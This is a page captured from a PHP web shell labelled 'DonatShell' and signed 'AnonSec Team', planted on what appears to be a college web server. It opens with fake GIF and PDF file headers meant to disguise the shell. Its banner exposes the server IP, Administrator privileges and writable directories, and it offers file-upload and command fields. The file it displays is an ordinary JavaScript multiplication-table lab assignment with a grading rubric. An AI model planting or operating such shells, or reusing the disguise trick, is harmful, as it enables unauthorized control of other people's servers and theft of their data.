GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1022/Labs/_Archive/Lab02/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1022/Labs/_Archive/Lab02/Lab02.phpinc
<?
exit;
// JimMartinson/MMDT1022/Labs/Lab02/Lab02.phpinc

$css .= ',colorCode.css';

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.

?>
<a name="Lab"></a>
<fieldset><legend>Description</legend>
Create a multiplication table for 1..15 and fill in the <span class="code highELE">table</span> using JavaScript.<br>
Here is an <a href="exampletable_write.html" target="_blank">example</a> of using <b>document.write</b> to create a multiplication table. <a href="exampletable_write.php" target="_blank">See the code (with embedded javascript)</a>.<br>
<!--
Here is an <a href="exampletable_innerHTML.html" target="_blank">example</a> of using <b>element.innerHTML</b> to create a multiplication table. <a href="exampletable_innerHTML.html.php" target="_blank">See the html code</a> <a href="exampletable_innerHTML.js.php" target="_blank">See the javascript code</a>.<br>
Here is an <a href="exampletable_DOM.html" target="_blank">example</a> of using <b>DOM manipulation</b> to create a multiplication table. <a href="exampletable_DOM.html.php" target="_blank">See the html code</a>. <a href="exampletable_DOM.js.php" target="_blank">See the javascript code</a>.<br>
-->
<?=$gradeNote?>
</fieldset>

<fieldset><legend><?=$evaluationType?> Instruction</legend>
<ol id="main" class="count">
	<li>Create a folder for this <?=strtolower($evaluationType)?> named <b><?=$evaluationName?></b> and keep all documents used for <?=$evaluationType?> <?=$evaluationNumber?> in that folder.</li>
	<li>Create an html document.
		<ol>
			<li>Name the file <b><?=$evaluationName?>.html</b>.</li>
			<li>The page must contain the foundation tags. <a href="#notes" class="smaller">See notes</a></li>
			<li>Place the following in the <samp class="highELE">head</samp> of your page:
				<ol>
					<li>Add a <samp class="highELE">title</samp> of <inn><?=$evaluationType?> <?=$evaluationNumber?> <?=$evaluationTitle?> - <?=userName($userId)?></inn>.</li>
					<li>Add the meta character set tag.</li>
					<li>Add a <tag>link</tag> stylesheet tag with a <span class="highATT">href</span> of <samp class="highVAL"><?=$evaluationName?>.css</samp></li>
					<li>Add a <samp class="highELE">script</samp> tag with a <span class="highATT">src</span> of <samp class="highVAL"><?=$evaluationName?>.js</samp>.</li>
				</ol>
			</li>
			<li>Code html as needed to perform this lab.
				Notes:
				<ol>
					<li>Odd and even rows in the table have alternating background colors.</li>
					<li>The numbers are right aligned.</li>
					<li>Unlike the example, the numbers along the top row and left column should be in a <samp class="highELE">th</samp> element and display as bold.</li>
				</ol>
			</li>
		</ol>
		</div>
	</li>
	<li>Create a Cascading Style Sheet.
		<ol>
			<li>Name the file <b><?=$evaluationName?>.css</b>.</li>
			<li>Place all of the css needed for the lab in this file.</li>
		</ol>
	</li>
	<li>Create a JavaScript document.
		<ol>
			<li>Name the file <b><?=$evaluationName?>.js</b>.</li>
			<li>Attach the initAll function to the window onload event.</li>
			<li>Create a function initAll() calls the createTable() function.</li>
			<li>Create a function createTable() that fills in the table.</li>
			<li>Create functionality similar to the <a href="book/script10.html">Make Your Own Bingo Card</a> example from the book that changes the background color of the <samp class="highELE">td</samp> when clicked.</li>
			<li>Also, when the <samp class="highELE">td</samp> is clicked display the row, column, and multiplication answer above the table.
		<div id="show_page" class="inline"><a href="#" onClick="divHide('show_page'); divShow('hide_page'); return false;">(See a screenshot)</a></div>
		<div id="hide_page" class="hidden"><a href="#" onClick="divHide('hide_page'); divShowInline('show_page'); return false;">Hide screenshot.</a><br>
<? /**/ ?>
		<? include('common/Browser/Browser.phpinc'); BrowserBegin($evaluationType.' '.$evaluationNumber.' '.$evaluationTitle.' - '.userName($userId),'file://'.$courseNumber.'/'.$evaluationName.'/'.$evaluationName.'.html'); ?>
<? /**/ ?>
		<h1><?=$evaluationType?> <?=$evaluationNumber?> <?=$evaluationTitle?> - <?=userName($userId)?></h1>
		<img src="multtable.png" alt="multiplication table example">
<? /**/ ?>
		<? BrowserEnd(); ?>
<? /**/ ?>
		</div>
			</li>
		</ol>
	</li>
  <li>Turn in your assignment:
		<ol>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"> for grading.</li>
		</ol>
  </li>
</ol>
<?=$gradeNote?>
</fieldset>
<fieldset><legend>NOTES:</legend>
<b>We will be using the following in every html page throughout this class:</b>
<ul>
	<li>The HTML 5 DOCTYPE: <span class="highELE">&lt;!DOCTYPE html&gt;</span>.</li>
	<li>An html tag with <span class="highATT">lang</span> attribute: <tagoc>html <span class="highATT">lang="<span class="highVAL">en</span>"</span></tagoc>.</li>
	<li>A <span class="highELE">title</span> tag.</li>
	<li>The meta character set tag <span class="highELE">&lt;meta <span class="highATT">charset="<span class="highVAL">UTF-8</span>"</span>&gt;</span>.</li>
</ul>
</fieldset>
<script src="/js/colorCode.js"></script>
<?
$PartialGradingCriteria = '
<table>
	<tr>
		<td></td>
		<td class="right"><b>Points</b></td>
	</tr>
	<tr>
		<td>Required HTML/CSS elements are correct.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>Functional initAll() function.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>Functional createTable() function.</td>
		<td class="number">4</td>
	</tr>
	<tr>
		<td>Odd and even rows in the table have alternating background colors.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>The numbers are right aligned.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>The numbers along the top row and left column should be in a <span class="highELM">th</span> element and display as bold.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>Correct <samp class="highELE">DOCTYPE</samp>, <samp class="highELE">html</samp>, <samp class="highELE">head</samp>, <samp class="highELE">title</samp>, <samp class="highELE">meta</samp> <samp>charset</samp>, <samp class="highELE">body</samp>, and <samp class="highELE">h1</samp> tags.</td>
		<td class="number">2</td>
	</tr>
	<tr>
		<td>Well formatted HTML, CSS, and JavaScript that follows lab requirements.<br><span class="note">Do not add any additional code or styling other than what is required by the lab.
			<br>I will deduct points for additional code or styling that are or cause problems.</span></td>
		<td class="number">4</td>
	</tr>
	<tr>
		<th class="right">Total:</th>
		<th class="bold number">assignmentPoints</th>
	</tr>
</table>
';
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team